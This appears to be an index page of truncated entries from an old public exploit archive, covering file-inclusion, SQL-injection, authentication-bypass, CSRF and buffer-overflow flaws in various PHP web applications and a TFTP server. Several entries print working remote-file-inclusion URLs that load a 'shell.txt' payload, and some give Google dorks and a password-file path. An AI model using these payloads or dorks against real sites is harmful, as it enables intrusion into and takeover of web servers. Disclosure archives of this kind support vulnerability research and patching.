Local File Include Vulnerabilities in YaBB <= 2.1(all version)

Local File Include Vulnerabilities Problem: Local File Include Vulnerabilities Product: YaBB = 2.1all version Web page:http://www.yabbforum.com/ Credit:Maciej krasza Kukla @mail:[email protected] homepage:www.krasza.int.pl 1.Description "YaBB is a leading free forum software package that rivals an...

CVE-2007-3201

Visual truncation vulnerability in Windows Privacy Tray WinPT 1.2.0 allows user-assisted remote attackers to install a key listed under the wrong user ID, and possibly cause the user to encrypt a victim's correspondence with this attacker-supplied key, via a key ID composed of the attacker's user...

TutorialCMS <= 1.01 Authentication Bypass Vulnerability

No description provided by source. TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload: Authentication Bypass Website: http://www.w4ck1ng.com Vulnerability: Variables $loggedIn & $activated are not predefined. Vulnerable Files: login.php headerLinks.php submit1.php myFav.php...

Webavis 0.1.1 - 'class.php?root' Remote File Inclusion

Webavis Remote file inclusion root Download script : http://webavis.myreseau.org/src/webavis-0.1.1.tar.gz Thanks Str0ke :D Exploit : http://victim.com/webavis/class/class.php?root=shell.txt ? Discovered by ThE TiGeR MiroTigeratHotmail.com milw0rm.com 2007-05-25...

Linksnet Newsfeed 1.0 Remote File Inclusion Vulnerability

No description provided by source. Linksnet Newsfeed =1.0 Remote file inclusion Download script : http://www.linksnet.de/mat/LinksnetNewsfeed10.zip Thanks Str0ke Exploit : http://victime.com/LinksnetNewsfeed10path/linksnetnewsfeed/linksnetlinkslogrss.php?dirpathlinksnetnewsfeed= shetll.txt?...

Beacon 0.2.0 (splash.lang.php) Remote File Inclusion Vulnerability

No description provided by source. Beacon = 2.0Remot file inclusion languagePath Download script : http://download.savannah.gnu.org/releases/beacon/beacon020.zip Thanks Str0ke Exploit: http://victime.com/pbeaconpath/beacon/language/1/splash.lang.php?languagePath=shell.txt? Discovered by ThE TiGeR...

berylium2-rfi.txt

Berylium2 Remote file inclusion Download script : http://berylium.org/source/be2-2003-08-18.tar.gz Thanks Str0ke Exploit : http://victim.com/berylium2path/code/berylium-classes.php?beryliumroot=shell.txt? Discovered by : ThE TiGeR MiroTigerathotmaildotcom Greetz : $BraveH...

Berylium2 2003-08-18 - beryliumroot Remote File Inclusion

Berylium2 2003-08-18 - beryliumroot Remote File Inclusion Berylium2 Remote file inclusion Download script : http://berylium.org/source/be2-2003-08-18.tar.gz Thanks Str0ke Exploit : http://victim.com/berylium2path/code/berylium-classes.php?beryliumroot=shell.txt? Discovered by : ThE TiGeR...

[Full-disclosure] Persistent CSRF and The Hotlink Hell

http://www.gnucitizen.org/blog/persistent-csrf-and-the-hotlink-hell/ http://michaeldaw.org/papers/hotlinkpersistentcsrf/ I would like to bring your attention to a topic that has been rarely discussed. I am going to talk about hotlinks, redirections and of course CSRF Cross-site Request Forgery...

PortailPhp 2.0 (idnews) Remote SQL Injection Exploit

No description provided by source. use LWP::Simple; print " Exploit Coded c by xoron Portail PHP v20 index.php Remote SQL Injection Exploit Languages: Turkish, English Plz Select Language:"; $dil = stdin; %eng = "site" = "Enter The Victim Without http://:", "path" = "Plz Select Path:", "id" = "Pl...

softnews-rfi.txt

By Hasadya Raed Contact : [email protected] ------------------------------------ Script : SoftNews Media Group Dork : "Copyright © 2004,2006 SoftNews Media Group" Greetz : Only To Security Focus ------------------------------------ B.Files : init.php editnews.php ----------------------------------...

WWWboard password disclosure

//A vulnerability found in WWWboard that shows the administrative user names and passwords. Althought the password is hashed, It can easily be decoded. //Effected versions: Version 2.0 ALPHA 2 //File name: passwd.txt //File location: http://victim/wwwboard/passwd.txt //Google dork:...

PHP-MIP 0.1 - 'top.php?laypath' Remote File Inclusion

PHP Module Implementationtop.php laypathRemote File Include Vul ^ Downlaoad S : http://sourceforge.net/projects/phpmip/ ^ Author: GolDM = Mahmoodali && Contact: [email protected] ^ In: /path/top.php ^ Vulnerable Code: ^ include"$laypath/body.php"; Line : 23 ^ Exploit: ^...

ezConvert: phpBB ezBoard converter v0.2 (ezconvert_dir) Remote File Include Exploit

No description provided by source. C xoron Name: ezConvert: phpBB ezBoard converter v0.2 ezconvertdir Remote File Include Exploit Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=114129 xoron.biz - xoron.info www.xoron.info/bugs/ezconvert.txt...

phpBB ezBoard Converter 0.2 - 'ezconvert_dir' Remote File Inclusion

C xoron Name: ezConvert: phpBB ezBoard converter v0.2 ezconvertdir Remote File Include Exploit Author: xoron Exploit coded by xoron Download: http://sourceforge.net/project/showfiles.php?groupid=114129 xoron.biz - xoron.info www.xoron.info/bugs/ezconvert.txt Thanx: str0ke, kacper, k1tk4t, SHiKA,...

Drunken:Golem Portal 0.5.1 Alpha 2 Remote File Include Exploit

No description provided by source. C MackRulZ - 2007 Bug name: Drunken:Golem Gaming Portal rootpath Remote File Include Exploit Script Name: Xero Portal v1.2 Wrong Codes: require$phpbbrootpath . 'includes/bbcode.'.$phpEx; $rfi = "phpIRC.php?rootpath="; $path = "/include/irc/"; $shell =...

3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode Remote Overflow

3Com TFTP Service 3CTftpSvc 2.0.1 - Long Transporting Mode Remote Overflow 3comtftpdxpsp2.rb Copyright C cthulhu This is a poc intended to exploit the 3Com TFTP Service version 2.0.1 long transporting mode buffer overflow under xp sp2 english Vulnerability discovered by Liu Qixu Usage : ruby...

Frame spoofing using document.open() — Mozilla

shutdown demonstrated a way to inject content into a sub-frame of another site using targetWindow.framesn.document.open, making the attackers content look like it was part of the victim site. Similar in effect to MFSA 2005-51...

phpBB XS 0.58 - 'functions.php' Remote File Inclusion

Author: AzzCoder Vendor: http://www.phpbbxs.eu/ Vulnerable File: includes/functions.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . './includes/functionscategorieshierarchy.' . $phpEx ; Method To Use:...

SAXON.txt

SaVSaK.CoM | SpC-x - The-BeKiR | SAXON 4.6 Version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : SAXON Credits : SpC-x Thanks : The-BeKiR - Ejder - FasTBoY - ERNE - RMx - Nukedx - Str0ke Code : include"functions.php"; include "config.php"; include $template; Vulnerable ...